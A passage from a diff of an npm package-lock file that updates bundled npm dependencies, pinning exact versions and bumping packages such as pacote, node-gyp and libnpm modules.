"0.1.5", + "imurmurhash": "0.1.4", + "readable-stream": "2.3.6" }, "dependencies": { "iferr": { "version": "0.1.5", "bundled": true + }, + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.4", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } } } }, @@ -11519,59 +12466,63 @@ "version": "1.0.0", "bundled": true }, - "fstream": { - "version": "1.0.11", - "bundled": true, - "requires": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" - } + "function-bind": { + "version": "1.1.1", + "bundled": true }, "gauge": { "version": "2.7.4", "bundled": true, "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" }, "dependencies": { + "aproba": { + "version": "1.2.0", + "bundled": true + }, "string-width": { "version": "1.0.2", "bundled": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } } } }, "genfun": { - "version": "4.0.1", + "version": "5.0.0", "bundled": true }, "gentle-fs": { - "version": "2.0.1", + "version": "2.2.1", "bundled": true, "requires": { - "aproba": "^1.1.2", - "fs-vacuum": "^1.2.10", - "graceful-fs": "^4.1.11", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "path-is-inside": "^1.0.2", - "read-cmd-shim": "^1.0.1", - "slide": "^1.1.6" + "aproba": "1.2.0", + "chownr": "1.1.3", + "fs-vacuum": "1.2.10", + "graceful-fs": "4.2.3", + "iferr": "0.1.5", + "infer-owner": "1.0.4", + "mkdirp": "0.5.1", + "path-is-inside": "1.0.2", + "read-cmd-shim": "1.0.5", + "slide": "1.1.6" }, "dependencies": { + "aproba": { + "version": "1.2.0", + "bundled": true + }, "iferr": { "version": "0.1.5", "bundled": true @@ -11583,54 +12534,63 @@ "bundled": true }, "get-stream": { - "version": "3.0.0", - "bundled": true + "version": "4.1.0", + "bundled": true, + "requires": { + "pump": "3.0.0" + } }, "getpass": { "version": "0.1.7", "bundled": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" } }, "glob": { - "version": "7.1.2", + "version": "7.1.4", "bundled": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.4", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "global-dirs": { "version": "0.1.1", "bundled": true, "requires": { - "ini": "^1.3.4" + "ini": "1.3.5" } }, "got": { "version": "6.7.1", "bundled": true, "requires": { - "create-error-class": "^3.0.0", - "duplexer3": "^0.1.4", - "get-stream": "^3.0.0", - "is-redirect": "^1.0.0", - "is-retry-allowed": "^1.0.0", - "is-stream": "^1.0.0", - "lowercase-keys": "^1.0.0", - "safe-buffer": "^5.0.1", - "timed-out": "^4.0.0", - "unzip-response": "^2.0.1", - "url-parse-lax": "^1.0.0" + "create-error-class": "3.0.2", + "duplexer3": "0.1.4", + "get-stream": "3.0.0", + "is-redirect": "1.0.0", + "is-retry-allowed": "1.1.0", + "is-stream": "1.1.0", + "lowercase-keys": "1.0.1", + "safe-buffer": "5.1.2", + "timed-out": "4.0.1", + "unzip-response": "2.0.1", + "url-parse-lax": "1.0.0" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "bundled": true + } } }, "graceful-fs": { - "version": "4.1.11", + "version": "4.2.3", "bundled": true }, "har-schema": { @@ -11641,20 +12601,31 @@ "version": "5.1.0", "bundled": true, "requires": { - "ajv": "^5.3.0", - "har-schema": "^2.0.0" + "ajv": "5.5.2", + "har-schema": "2.0.0" + } + }, + "has": { + "version": "1.0.3", + "bundled": true, + "requires": { + "function-bind": "1.1.1" } }, "has-flag": { "version": "3.0.0", "bundled": true }, + "has-symbols": { + "version": "1.0.0", + "bundled": true + }, "has-unicode": { "version": "2.0.1", "bundled": true }, "hosted-git-info": { - "version": "2.7.1", + "version": "2.8.5", "bundled": true }, "http-cache-semantics": { @@ -11665,7 +12636,7 @@ "version": "2.1.0", "bundled": true, "requires": { - "agent-base": "4", + "agent-base": "4.3.0", "debug": "3.1.0" } }, @@ -11673,31 +12644,31 @@ "version": "1.2.0", "bundled": true, "requires": { - "assert-plus": "^1.0.0", - "jsprim": "^1.2.2", - "sshpk": "^1.7.0" + "assert-plus": "1.0.0", + "jsprim": "1.4.1", + "sshpk": "1.14.2" } }, "https-proxy-agent": { - "version": "2.2.1", + "version": "2.2.4", "bundled": true, "requires": { - "agent-base": "^4.1.0", - "debug": "^3.1.0" + "agent-base": "4.3.0", + "debug": "3.1.0" } }, "humanize-ms": { "version": "1.2.1", "bundled": true, "requires": { - "ms": "^2.0.0" + "ms": "2.1.1" } }, "iconv-lite": { "version": "0.4.23", "bundled": true, "requires": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": "2.1.2" } }, "iferr": { @@ -11705,10 +12676,10 @@ "bundled": true }, "ignore-walk": { - "version": "3.0.1", + "version": "3.0.3", "bundled": true, "requires": { - "minimatch": "^3.0.4" + "minimatch": "3.0.4" } }, "import-lazy": { @@ -11719,16 +12690,20 @@ "version": "0.1.4", "bundled": true }, + "infer-owner": { + "version": "1.0.4", + "bundled": true + }, "inflight": { "version": "1.0.6", "bundled": true, "requires": { - "once": "^1.3.0", - "wrappy": "1" + "once": "1.4.0", + "wrappy": "1.0.2" } }, "inherits": { - "version": "2.0.3", + "version": "2.0.4", "bundled": true }, "ini": { @@ -11739,14 +12714,14 @@ "version": "1.10.3", "bundled": true, "requires": { - "glob": "^7.1.1", - "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0", - "promzard": "^0.3.0", - "read": "~1.0.1", - "read-package-json": "1 || 2", - "semver": "2.x || 3.x || 4 || 5", - "validate-npm-package-license": "^3.0.1", - "validate-npm-package-name": "^3.0.0" + "glob": "7.1.4", + "npm-package-arg": "6.1.1", + "promzard": "0.3.0", + "read": "1.0.7", + "read-package-json": "2.1.0", + "semver": "5.7.1", + "validate-npm-package-license": "3.0.4", + "validate-npm-package-name": "3.0.0" } }, "invert-kv": { @@ -11761,40 +12736,47 @@ "version": "2.1.0", "bundled": true }, - "is-builtin-module": { - "version": "1.0.0", - "bundled": true, - "requires": { - "builtin-modules": "^1.0.0" - } + "is-callable": { + "version": "1.1.4", + "bundled": true }, "is-ci": { "version": "1.1.0", "bundled": true, "requires": { - "ci-info": "^1.0.0" + "ci-info": "1.6.0" + }, + "dependencies": { + "ci-info": { + "version": "1.6.0", + "bundled": true + } } }, "is-cidr": { - "version": "2.0.6", + "version": "3.0.0", "bundled": true, "requires": { - "cidr-regex": "^2.0.8" + "cidr-regex": "2.0.10" } }, + "is-date-object": { + "version": "1.0.1", + "bundled": true + }, "is-fullwidth-code-point": { "version": "1.0.0", "bundled": true, "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "is-installed-globally": { "version": "0.1.0", "bundled": true, "requires": { - "global-dirs": "^0.1.0", - "is-path-inside": "^1.0.0" + "global-dirs": "0.1.1", + "is-path-inside": "1.0.1" } }, "is-npm": { @@ -11809,13 +12791,20 @@ "version": "1.0.1", "bundled": true, "requires": { - "path-is-inside": "^1.0.1" + "path-is-inside": "1.0.2" } }, "is-redirect": { "version": "1.0.0", "bundled": true }, + "is-regex": { + "version": "1.0.4", + "bundled": true, + "requires": { + "has": "1.0.3" + } + }, "is-retry-allowed": { "version": "1.1.0", "bundled": true @@ -11824,6 +12813,13 @@ "version": "1.1.0", "bundled": true }, + "is-symbol": { + "version": "1.0.2", + "bundled": true, + "requires": { + "has-symbols": "1.0.0" + } + }, "is-typedarray": { "version": "1.0.0", "bundled": true @@ -11879,7 +12875,7 @@ "version": "3.1.0", "bundled": true, "requires": { - "package-json": "^4.0.0" + "package-json": "4.0.1" } }, "lazy-property": { @@ -11890,85 +12886,199 @@ "version": "1.0.0", "bundled": true, "requires": { - "invert-kv": "^1.0.0" + "invert-kv": "1.0.0" } }, "libcipm": { - "version": "2.0.2", + "version": "4.0.7", "bundled": true, "requires": { - "bin-links": "^1.1.2", - "bluebird": "^3.5.1", - "find-npm-prefix": "^1.0.2", - "graceful-fs": "^4.1.11", - "lock-verify": "^2.0.2", - "mkdirp": "^0.5.1", - "npm-lifecycle": "^2.0.3", - "npm-logical-tree": "^1.2.1", - "npm-package-arg": "^6.1.0", - "pacote": "^8.1.6", - "protoduck": "^5.0.0", - "read-package-json": "^2.0.13", - "rimraf": "^2.6.2", - "worker-farm": "^1.6.0" + "bin-links": "1.1.3", + "bluebird": "3.5.5", + "figgy-pudding": "3.5.1", + "find-npm-prefix": "1.0.2", + "graceful-fs": "4.2.3", + "ini": "1.3.5", + "lock-verify": "2.1.0", + "mkdirp": "0.5.1", + "npm-lifecycle": "3.1.4", + "npm-logical-tree": "1.2.1", + "npm-package-arg": "6.1.1", + "pacote": "9.5.9", + "read-package-json": "2.1.0", + "rimraf": "2.6.3", + "worker-farm": "1.7.0" + } + }, + "libnpm": { + "version": "3.0.1", + "bundled": true, + "requires": { + "bin-links": "1.1.3", + "bluebird": "3.5.5", + "find-npm-prefix": "1.0.2", + "libnpmaccess": "3.0.2", + "libnpmconfig": "1.2.1", + "libnpmhook": "5.0.3", + "libnpmorg": "1.0.1", + "libnpmpublish": "1.1.2", + "libnpmsearch": "2.0.2", + "libnpmteam": "1.0.2", + "lock-verify": "2.1.0", + "npm-lifecycle": "3.1.4", + "npm-logical-tree": "1.2.1", + "npm-package-arg": "6.1.1", + "npm-profile": "4.0.2", + "npm-registry-fetch": "4.0.2", + "npmlog": "4.1.2", + "pacote": "9.5.9", + "read-package-json": "2.1.0", + "stringify-package": "1.0.1" + } + }, + "libnpmaccess": { + "version": "3.0.2", + "bundled": true, + "requires": { + "aproba": "2.0.0", + "get-stream": "4.1.0", + "npm-package-arg": "6.1.1", + "npm-registry-fetch": "4.0.2" + } + }, + "libnpmconfig": { + "version": "1.2.1", + "bundled": true, + "requires": { + "figgy-pudding": "3.5.1", + "find-up": "3.0.0", + "ini": "1.3.5" + }, + "dependencies": { + "find-up": { + "version": "3.0.0", + "bundled": true, + "requires": { + "locate-path": "3.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "bundled": true, + "requires": { + "p-locate": "3.0.0", + "path-exists": "3.0.0" + } + }, + "p-limit": { + "version": "2.2.0", + "bundled": true, + "requires": { + "p-try": "2.2.0" + } + }, + "p-locate": { + "version": "3.0.0", + "bundled": true, + "requires": { + "p-limit": "2.2.0" + } + }, + "p-try": { + "version": "2.2.0", + "bundled": true + } } }, "libnpmhook": { - "version": "4.0.1", + "version": "5.0.3", "bundled": true, "requires": { - "figgy-pudding": "^3.1.0", - "npm-registry-fetch": "^3.0.0" - }, - "dependencies": { - "npm-registry-fetch": { - "version": "3.1.1", - "bundled": true, - "requires": { - "bluebird": "^3.5.1", - "figgy-pudding": "^3.1.0", - "lru-cache": "^4.1.2", - "make-fetch-happen": "^4.0.0", - "npm-package-arg": "^6.0.0" - } - } + "aproba": "2.0.0", + "figgy-pudding": "3.5.1", + "get-stream": "4.1.0", + "npm-registry-fetch": "4.0.2" + } + }, + "libnpmorg": { + "version": "1.0.1", + "bundled": true, + "requires": { + "aproba": "2.0.0", + "figgy-pudding": "3.5.1", + "get-stream": "4.1.0", + "npm-registry-fetch": "4.0.2" + } + }, + "libnpmpublish": { + "version": "1.1.2", + "bundled": true, + "requires": { + "aproba": "2.0.0", + "figgy-pudding": "3.5.1", + "get-stream": "4.1.0", + "lodash.clonedeep": "4.5.0", + "normalize-package-data": "2.5.0", + "npm-package-arg": "6.1.1", + "npm-registry-fetch": "4.0.2", + "semver": "5.7.1", + "ssri": "6.0.1" + } + }, + "libnpmsearch": { + "version": "2.0.2", + "bundled": true, + "requires": { + "figgy-pudding": "3.5.1", + "get-stream": "4.1.0", + "npm-registry-fetch": "4.0.2" + } + }, + "libnpmteam": { + "version": "1.0.2", + "bundled": true, + "requires": { + "aproba": "2.0.0", + "figgy-pudding": "3.5.1", + "get-stream": "4.1.0", + "npm-registry-fetch": "4.0.2" } }, "libnpx": { "version": "10.2.0", "bundled": true, "requires": { - "dotenv": "^5.0.1", - "npm-package-arg": "^6.0.0", - "rimraf": "^2.6.2", - "safe-buffer": "^5.1.0", - "update-notifier": "^2.3.0", - "which": "^1.3.0", - "y18n": "^4.0.0", - "yargs": "^11.0.0" + "dotenv": "5.0.1", + "npm-package-arg": "6.1.1", + "rimraf": "2.6.3", + "safe-buffer": "5.1.2", + "update-notifier": "2.5.0", + "which": "1.3.1", + "y18n": "4.0.0", + "yargs": "11.0.0" } }, "locate-path": { "version": "2.0.0", "bundled": true, "requires": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" + "p-locate": "2.0.0", + "path-exists": "3.0.0" } }, "lock-verify": { - "version": "2.0.2", + "version": "2.1.0", "bundled": true, "requires": { - "npm-package-arg": "^5.1.2 || 6", - "semver": "^5.4.1" + "npm-package-arg": "6.1.1", + "semver": "5.7.1" } }, "lockfile": { "version": "1.0.4", "bundled": true, "requires": { - "signal-exit": "^3.0.2" + "signal-exit": "3.0.2" } }, "lodash._baseindexof": { @@ -11979,8 +13089,8 @@ "version": "4.6.0", "bundled": true, "requires": { - "lodash._createset": "~4.0.0", - "lodash._root": "~3.0.0" + "lodash._createset": "4.0.3", + "lodash._root": "3.0.1" } }, "lodash._bindcallback": { @@ -11995,7 +13105,7 @@ "version": "3.1.2", "bundled": true, "requires": { - "lodash._getnative": "^3.0.0" + "lodash._getnative": "3.9.1" } }, "lodash._createset": { @@ -12035,35 +13145,34 @@ "bundled": true }, "lru-cache": { - "version": "4.1.3", + "version": "5.1.1", "bundled": true, "requires": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" + "yallist": "3.0.3" } }, "make-dir": { "version": "1.3.0", "bundled": true, "requires": { - "pify": "^3.0.0" + "pify": "3.0.0" } }, "make-fetch-happen": { - "version": "4.0.1", + "version": "5.0.2", "bundled": true, "requires": { - "agentkeepalive": "^3.4.1", - "cacache": "^11.0.1", - "http-cache-semantics": "^3.8.1", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^2.2.1", - "lru-cache": "^4.1.2", - "mississippi": "^3.0.0", - "node-fetch-npm": "^2.0.2", - "promise-retry": "^1.1.1", - "socks-proxy-agent": "^4.0.0", - "ssri": "^6.0.0" + "agentkeepalive": "3.5.2", + "cacache": "12.0.3", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.4", + "lru-cache": "5.1.1", + "mississippi": "3.0.0", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "4.0.2", + "ssri": "6.0.1" } }, "meant": { @@ -12074,7 +13183,7 @@ "version": "1.1.0", "bundled": true, "requires": { - "mimic-fn": "^1.0.0" + "mimic-fn": "1.2.0" } }, "mime-db": { @@ -12085,7 +13194,7 @@ "version": "2.1.19", "bundled": true, "requires": { - "mime-db": "~1.35.0" + "mime-db": "1.35.0" } }, "mimic-fn": { @@ -12096,48 +13205,44 @@ "version": "3.0.4", "bundled": true, "requires": { - "brace-expansion": "^1.1.7" + "brace-expansion": "1.1.11" } }, "minimist": { "version": "0.0.8", "bundled": true }, - "minipass": { - "version": "2.3.3", + "minizlib": { + "version": "1.3.3", "bundled": true, "requires": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" + "minipass": "2.9.0" }, "dependencies": { - "yallist": { - "version": "3.0.2", - "bundled": true + "minipass": { + "version": "2.9.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2", + "yallist": "3.0.3" + } } } }, - "minizlib": { - "version": "1.1.0", - "bundled": true, - "requires": { - "minipass": "^2.2.1" - } - }, "mississippi": { "version": "3.0.0", "bundled": true, "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^3.0.0", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" + "concat-stream": "1.6.2", + "duplexify": "3.6.0", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.3", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "3.0.0", + "pumpify": "1.5.1", + "stream-each": "1.2.2", + "through2": "2.0.3" } }, "mkdirp": { @@ -12151,12 +13256,18 @@ "version": "1.0.1", "bundled": true, "requires": { - "aproba": "^1.1.1", - "copy-concurrently": "^1.0.0", - "fs-write-stream-atomic": "^1.0.8", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.3" + "aproba": "1.2.0", + "copy-concurrently": "1.0.5", + "fs-write-stream-atomic": "1.0.10", + "mkdirp": "0.5.1", + "rimraf": "2.6.3", + "run-queue": "1.0.3" + }, + "dependencies": { + "aproba": { + "version": "1.2.0", + "bundled": true + } } }, "ms": { @@ -12171,48 +13282,38 @@ "version": "2.0.2", "bundled": true, "requires": { - "encoding": "^0.1.11", - "json-parse-better-errors": "^1.0.0", - "safe-buffer": "^5.1.1" + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.2", + "safe-buffer": "5.1.2" } }, "node-gyp": { - "version": "3.8.0", + "version": "5.0.5", "bundled": true, "requires": { - "fstream": "^1.0.0", - "glob": "^7.0.3", - "graceful-fs": "^4.1.2", - "mkdirp": "^0.5.0", - "nopt": "2 || 3", - "npmlog": "0 || 1 || 2 || 3 || 4", - "osenv": "0", - "request": "^2.87.0", - "rimraf": "2", - "semver": "~5.3.0", - "tar": "^2.0.0", - "which": "1" + "env-paths": "1.0.0", + "glob": "7.1.4", + "graceful-fs": "4.2.3", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "npmlog": "4.1.2", + "request": "2.88.0", + "rimraf": "2.6.3", + "semver": "5.3.0", + "tar": "4.4.13", + "which": "1.3.1" }, "dependencies": { "nopt": { "version": "3.0.6", "bundled": true, "requires": { - "abbrev": "1" + "abbrev": "1.1.1" } }, "semver": { "version": "5.3.0", "bundled": true - }, - "tar": { - "version": "2.2.1", - "bundled": true, - "requires": { - "block-stream": "*", - "fstream": "^1.0.2", - "inherits": "2" - } } } }, @@ -12220,30 +13321,39 @@ "version": "4.0.1", "bundled": true, "requires": { - "abbrev": "1", - "osenv": "^0.1.4" + "abbrev": "1.1.1", + "osenv": "0.1.5" } }, "normalize-package-data": { - "version": "2.4.0", + "version": "2.5.0", "bundled": true, "requires": { - "hosted-git-info": "^2.1.4", - "is-builtin-module": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" + "hosted-git-info": "2.8.5", + "resolve": "1.10.0", + "semver": "5.7.1", + "validate-npm-package-license": "3.0.4" + }, + "dependencies": { + "resolve": { + "version": "1.10.0", + "bundled": true, + "requires": { + "path-parse": "1.0.6" + } + } } }, "npm-audit-report": { - "version": "1.3.1", + "version": "1.3.2", "bundled": true, "requires": { - "cli-table3": "^0.5.0", - "console-control-strings": "^1.1.0" + "cli-table3": "0.5.1", + "console-control-strings": "1.1.0" } }, "npm-bundled": { - "version": "1.0.5", + "version": "1.0.6", "bundled": true }, "npm-cache-filename": { @@ -12251,24 +13361,24 @@ "bundled": true }, "npm-install-checks": { - "version": "3.0.0", + "version": "3.0.2", "bundled": true, "requires": { - "semver": "^2.3.0 || 3.x || 4 || 5" + "semver": "5.7.1" } }, "npm-lifecycle": { - "version": "2.1.0", + "version": "3.1.4", "bundled": true, "requires": { - "byline": "^5.0.0", - "graceful-fs": "^4.1.11", - "node-gyp": "^3.8.0", - "resolve-from": "^4.0.0", - "slide": "^1.1.6", + "byline": "5.0.0", + "graceful-fs": "4.2.3", + "node-gyp": "5.0.5", + "resolve-from": "4.0.0", + "slide": "1.1.6", "uid-number": "0.0.6", - "umask": "^1.1.0", - "which": "^1.3.1" + "umask": "1.1.0", + "which": "1.3.1" } }, "npm-logical-tree": { @@ -12276,174 +13386,57 @@ "bundled": true }, "npm-package-arg": { - "version": "6.1.0", + "version": "6.1.1", "bundled": true, "requires": { - "hosted-git-info": "^2.6.0", - "osenv": "^0.1.5", - "semver": "^5.5.0", - "validate-npm-package-name": "^3.0.0" + "hosted-git-info": "2.8.5", + "osenv": "0.1.5", + "semver": "5.7.1", + "validate-npm-package-name": "3.0.0" } }, "npm-packlist": { - "version": "1.1.11", + "version": "1.4.6", "bundled": true, "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" + "ignore-walk": "3.0.3", + "npm-bundled": "1.0.6" } }, "npm-pick-manifest": { - "version": "2.1.0", - "bundled": true, - "requires": { - "npm-package-arg": "^6.0.0", - "semver": "^5.4.1" - } - }, - "npm-profile": { "version": "3.0.2", "bundled": true, "requires": { - "aproba": "^1.1.2 || 2", - "make-fetch-happen": "^2.5.0 || 3 || 4" + "figgy-pudding": "3.5.1", + "npm-package-arg": "6.1.1", + "semver": "5.7.1" } }, - "npm-registry-client": { - "version": "8.6.0", + "npm-profile": { + "version": "4.0.2", "bundled": true, "requires": { - "concat-stream": "^1.5.2", - "graceful-fs": "^4.1.6", - "normalize-package-data": "~1.0.1 || ^2.0.0", - "npm-package-arg": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", - "npmlog": "2 || ^3.1.0 || ^4.0.0", - "once": "^1.3.3", - "request": "^2.74.0", - "retry": "^0.10.0", - "safe-buffer": "^5.1.1", - "semver": "2 >=2.2.1 || 3.x || 4 || 5", - "slide": "^1.1.3", - "ssri": "^5.2.4" - }, - "dependencies": { - "retry": { - "version": "0.10.1", - "bundled": true - }, - "ssri": { - "version": "5.3.0", - "bundled": true, - "requires": { - "safe-buffer": "^5.1.1" - } - } + "aproba": "2.0.0", + "figgy-pudding": "3.5.1", + "npm-registry-fetch": "4.0.2" } }, "npm-registry-fetch": { - "version": "1.1.0", + "version": "4.0.2", "bundled": true, "requires": { - "bluebird": "^3.5.1", - "figgy-pudding": "^2.0.1", - "lru-cache": "^4.1.2", - "make-fetch-happen": "^3.0.0", - "npm-package-arg": "^6.0.0", - "safe-buffer": "^5.1.1" + "JSONStream": "1.3.5", + "bluebird": "3.5.5", + "figgy-pudding": "3.5.1", + "lru-cache": "5.1.1", + "make-fetch-happen": "5.0.2", + "npm-package-arg": "6.1.1", + "safe-buffer": "5.2.0" }, "dependencies": { - "cacache": { - "version": "10.0.4", - "bundled": true, - "requires": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.1", - "mississippi": "^2.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^5.2.4", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" - }, - "dependencies": { - "mississippi": { - "version": "2.0.0", - "bundled": true, - "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^2.0.1", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" - } - } - } - }, - "figgy-pudding": { - "version": "2.0.1", + "safe-buffer": { + "version": "5.2.0", "bundled": true - }, - "make-fetch-happen": { - "version": "3.0.0", - "bundled": true, - "requires": { - "agentkeepalive": "^3.4.1", - "cacache": "^10.0.4", - "http-cache-semantics": "^3.8.1", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^2.2.0", - "lru-cache": "^4.1.2", - "mississippi": "^3.0.0", - "node-fetch-npm": "^2.0.2", - "promise-retry": "^1.1.1", - "socks-proxy-agent": "^3.0.1", - "ssri": "^5.2.4" - } - }, - "pump": { - "version": "2.0.1", - "bundled": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "smart-buffer": { - "version": "1.1.15", - "bundled": true - }, - "socks": { - "version": "1.1.10", - "bundled": true, - "requires": { - "ip": "^1.1.4", - "smart-buffer": "^1.0.13" - } - }, - "socks-proxy-agent": { - "version": "3.0.1", - "bundled": true, - "requires": { - "agent-base": "^4.1.0", - "socks": "^1.1.10" - } - }, - "ssri": { - "version": "5.3.0", - "bundled": true, - "requires": { - "safe-buffer": "^5.1.1" - } } } }, @@ -12451,7 +13444,7 @@ "version": "2.0.2", "bundled": true, "requires": { - "path-key": "^2.0.0" + "path-key": "2.0.1" } }, "npm-user-validate": { @@ -12462,10 +13455,10 @@ "version": "4.1.2", "bundled": true, "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" } }, "number-is-nan": { @@ -12480,15 +13473,27 @@ "version": "4.1.1", "bundled": true }, + "object-keys": { + "version": "1.0.12", + "bundled": true + }, + "object.getownpropertydescriptors": { + "version": "2.0.3", + "bundled": true, + "requires": { + "define-properties": "1.1.3", + "es-abstract": "1.12.0" + } + }, "once": { "version": "1.4.0", "bundled": true, "requires": { - "wrappy": "1" + "wrappy": "1.0.2" } }, "opener": { - "version": "1.5.0", + "version": "1.5.1", "bundled": true }, "os-homedir": { @@ -12499,9 +13504,9 @@ "version": "2.1.0", "bundled": true, "requires": { - "execa": "^0.7.0", - "lcid": "^1.0.0", - "mem": "^1.1.0" + "execa": "0.7.0", + "lcid": "1.0.0", + "mem": "1.1.0" } }, "os-tmpdir": { @@ -12512,8 +13517,8 @@ "version": "0.1.5", "bundled": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" } }, "p-finally": { @@ -12524,14 +13529,14 @@ "version": "1.2.0", "bundled": true, "requires": { - "p-try": "^1.0.0" + "p-try": "1.0.0" } }, "p-locate": { "version": "2.0.0", "bundled": true, "requires": { - "p-limit": "^1.1.0" + "p-limit": "1.2.0" } }, "p-try": { @@ -12542,50 +13547,86 @@ "version": "4.0.1", "bundled": true, "requires": { - "got": "^6.7.1", - "registry-auth-token": "^3.0.1", - "registry-url": "^3.0.3", - "semver": "^5.1.0" + "got": "6.7.1", + "registry-auth-token": "3.3.2", + "registry-url": "3.1.0", + "semver": "5.7.1" } }, "pacote": { - "version": "8.1.6", + "version": "9.5.9", "bundled": true, "requires": { - "bluebird": "^3.5.1", - "cacache": "^11.0.2", - "get-stream": "^3.0.0", - "glob": "^7.1.2", - "lru-cache": "^4.1.3", - "make-fetch-happen": "^4.0.1", - "minimatch": "^3.0.4", - "minipass": "^2.3.3", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "normalize-package-data": "^2.4.0", - "npm-package-arg": "^6.1.0", - "npm-packlist": "^1.1.10", - "npm-pick-manifest": "^2.1.0", - "osenv": "^0.1.5", - "promise-inflight": "^1.0.1", - "promise-retry": "^1.1.1", - "protoduck": "^5.0.0", - "rimraf": "^2.6.2", - "safe-buffer": "^5.1.2", - "semver": "^5.5.0", - "ssri": "^6.0.0", - "tar": "^4.4.3", - "unique-filename": "^1.1.0", - "which": "^1.3.0" + "bluebird": "3.5.5", + "cacache": "12.0.3", + "chownr": "1.1.3", + "figgy-pudding": "3.5.1", + "get-stream": "4.1.0", + "glob": "7.1.4", + "infer-owner": "1.0.4", + "lru-cache": "5.1.1", + "make-fetch-happen": "5.0.2", + "minimatch": "3.0.4", + "minipass": "2.9.0", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "normalize-package-data": "2.5.0", + "npm-package-arg": "6.1.1", + "npm-packlist": "1.4.6", + "npm-pick-manifest": "3.0.2", + "npm-registry-fetch": "4.0.2", + "osenv": "0.1.5", + "promise-inflight": "1.0.1", + "promise-retry": "1.1.1", + "protoduck": "5.0.1", + "rimraf": "2.6.3", + "safe-buffer": "5.1.2", + "semver": "5.7.1", + "ssri": "6.0.1", + "tar": "4.4.13", + "unique-filename": "1.1.1", + "which": "1.3.1" + }, + "dependencies": { + "minipass": { + "version": "2.9.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2", + "yallist": "3.0.3" + } + } } }, "parallel-transform": { "version": "1.1.0", "bundled": true, "requires": { - "cyclist": "~0.2.2", - "inherits": "^2.0.3", - "readable-stream": "^2.1.5" + "cyclist": "0.2.2", + "inherits": "2.0.4", + "readable-stream": "2.3.6" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.4", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + 